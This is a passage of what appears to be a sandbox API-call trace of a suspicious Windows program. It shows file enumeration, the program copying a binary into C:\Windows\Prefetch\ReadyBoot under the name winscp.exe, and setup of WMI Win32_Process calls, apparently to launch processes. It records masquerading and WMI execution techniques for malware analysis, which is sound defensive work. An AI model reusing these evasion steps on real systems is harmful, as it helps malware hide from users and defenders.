ftLastAccessTime.dwLowDateTime=0x3c884160, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0x3c884160, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bfbe870 [0077.757] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab5b5440, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x3c884160, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0x3c884160, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.757] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x3c6e1240, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0x3c6e1240, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0x3c85e000, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x15ffe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trace10.fx", cAlternateFileName="")) returned 1 [0077.757] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xb7bbb6c0, ftCreationTime.dwHighDateTime=0x1d9775e, ftLastAccessTime.dwLowDateTime=0xb7bbb6c0, ftLastAccessTime.dwHighDateTime=0x1d9775e, ftLastWriteTime.dwLowDateTime=0xb7f73920, ftLastWriteTime.dwHighDateTime=0x1d9775e, nFileSizeHigh=0x0, nFileSizeLow=0x1cce35, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trace6.fx", cAlternateFileName="")) returned 1 [0077.757] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x249f49c0, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0x249f49c0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0x24b254c0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x18c9bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trace7.fx", cAlternateFileName="")) returned 1 [0077.757] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xd786e110, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xd786e110, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xd7a11030, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x2f6ee7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trace8.fx", cAlternateFileName="")) returned 1 [0077.757] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x56bdb500, ftCreationTime.dwHighDateTime=0x1d99d09, ftLastAccessTime.dwLowDateTime=0x56bdb500, ftLastAccessTime.dwHighDateTime=0x1d99d09, ftLastWriteTime.dwLowDateTime=0x56e88dc0, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x1c2eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trace9.fx", cAlternateFileName="")) returned 1 [0077.757] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x56bdb500, ftCreationTime.dwHighDateTime=0x1d99d09, ftLastAccessTime.dwLowDateTime=0x56bdb500, ftLastAccessTime.dwHighDateTime=0x1d99d09, ftLastWriteTime.dwLowDateTime=0x56e88dc0, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x1c2eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trace9.fx", cAlternateFileName="")) returned 0 [0077.758] FindClose (in: hFindFile=0x1bfbe870 | out: hFindFile=0x1bfbe870) returned 1 [0077.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0077.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0077.761] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0077.761] GetFullPathNameW (in: lpFileName="C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe", lpFilePart=0x0) returned 0x28 [0077.761] CopyFileW (lpExistingFileName="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), lpNewFileName="C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe" (normalized: "c:\\windows\\prefetch\\readyboot\\winscp.exe"), bFailIfExists=0) returned 1 [0077.892] GetFullPathNameW (in: lpFileName="C:\\Windows\\Prefetch\\ReadyBoot\\eb2d70d940159d", nBufferLength=0x105, lpBuffer=0x1b2fd760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Prefetch\\ReadyBoot\\eb2d70d940159d", lpFilePart=0x0) returned 0x2c [0077.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fdc78) returned 1 [0077.892] CreateFileW (lpFileName="C:\\Windows\\Prefetch\\ReadyBoot\\eb2d70d940159d" (normalized: "c:\\windows\\prefetch\\readyboot\\eb2d70d940159d"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x25c [0077.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdbe8) returned 1 [0077.894] WriteFile (in: hFile=0x25c, lpBuffer=0x2a8d4e0*, nNumberOfBytesToWrite=0x399, lpNumberOfBytesWritten=0x1b2fdcb8, lpOverlapped=0x0 | out: lpBuffer=0x2a8d4e0*, lpNumberOfBytesWritten=0x1b2fdcb8*=0x399, lpOverlapped=0x0) returned 1 [0077.897] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0077.897] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0077.897] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0077.897] IUnknown:Release (This=0x111f638) returned 0x1 [0077.900] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bfa8910) returned 0x0 [0077.900] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa8910, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0077.900] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa8910, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bfbc180) returned 0x0 [0077.900] WbemDefPath:IUnknown:Release (This=0x1bfa8910) returned 0x0 [0077.900] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc180, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bfbc180) returned 0x0 [0077.900] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc180, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0077.901] WbemDefPath:IUnknown:AddRef (This=0x1bfbc180) returned 0x3 [0077.901] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc180, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0077.901] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc180, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0077.901] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc180, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bfa8950) returned 0x0 [0077.901] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa8950, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0077.901] WbemDefPath:IUnknown:Release (This=0x1bfa8950) returned 0x3 [0077.901] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0077.901] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0077.901] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc180, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0077.901] WbemDefPath:IUnknown:Release (This=0x1bfbc180) returned 0x2 [0077.901] WbemDefPath:IUnknown:Release (This=0x1bfbc180) returned 0x1 [0077.901] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0077.901] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0077.901] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc180, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bfbc180) returned 0x0 [0077.901] WbemDefPath:IUnknown:AddRef (This=0x1bfbc180) returned 0x3 [0077.901] WbemDefPath:IUnknown:Release (This=0x1bfbc180) returned 0x2 [0077.901] WbemDefPath:IWbemPath:SetText (This=0x1bfbc180, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0077.902] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc180, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0077.902] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc180, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0077.902] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc180, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0077.902] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbc180, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0077.902] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc180, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0077.902] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbc180, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0077.902] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0077.902] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0077.902] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0077.902] IUnknown:Release (This=0x111f638) returned 0x1 [0077.904] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bfa8990) returned 0x0 [0077.905] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa8990, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0077.905] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa8990, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bfbc240) returned 0x0 [0077.905] WbemDefPath:IUnknown:Release (This=0x1bfa8990) returned 0x0 [0077.905] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc240, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bfbc240) returned 0x0 [0077.905] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc240, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0077.905] WbemDefPath:IUnknown:AddRef (This=0x1bfbc240) returned 0x3 [0077.905] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc240, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0077.905] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc240, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0077.905] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc240, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bfa89d0) returned 0x0 [0077.905] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa89d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0077.905] WbemDefPath:IUnknown:Release (This=0x1bfa89d0) returned 0x3 [0077.905] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0077.906] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0077.906] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc240, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0077.906] WbemDefPath:IUnknown:Release (This=0x1bfbc240) returned 0x2 [0077.906] WbemDefPath:IUnknown:Release (This=0x1bfbc240) returned 0x1 [0077.906] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0077.906] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0077.906] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc240, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bfbc240) returned 0x0 [0077.906] WbemDefPath:IUnknown:AddRef (This=0x1bfbc240) returned 0x3 [0077.906] WbemDefPath:IUnknown:Release (This=0x1bfbc240) returned 0x2 [0077.906] WbemDefPath:IWbemPath:SetText (This=0x1bfbc240, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0077.906] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc240, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0077.906] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc240, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0077.906] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc240, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0077.906] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbc240, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0077.906] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc240, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0077.906] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbc240, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0077.906] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc240, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0077.906] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0077.906] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0077.907] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0077.907] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0077.907] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0077.907] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0077.907] IUnknown:Release (This=0x111f638) returned 0x1 [0077.909] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bfa8a10) returned 0x0 [0077.909] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa8a10, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0077.909] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa8a10, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bfbc300) returned 0x0 [0077.909] WbemDefPath:IUnknown:Release (This=0x1bfa8a10) returned 0x0 [0077.909] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc300, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bfbc300) returned 0x0 [0077.909] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc300, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0077.910] WbemDefPath:IUnknown:AddRef (This=0x1bfbc300) returned 0x3 [0077.910] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc300, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0077.910] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc300, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0077.910] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc300, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bfa8a50) returned 0x0 [0077.910] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa8a50, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 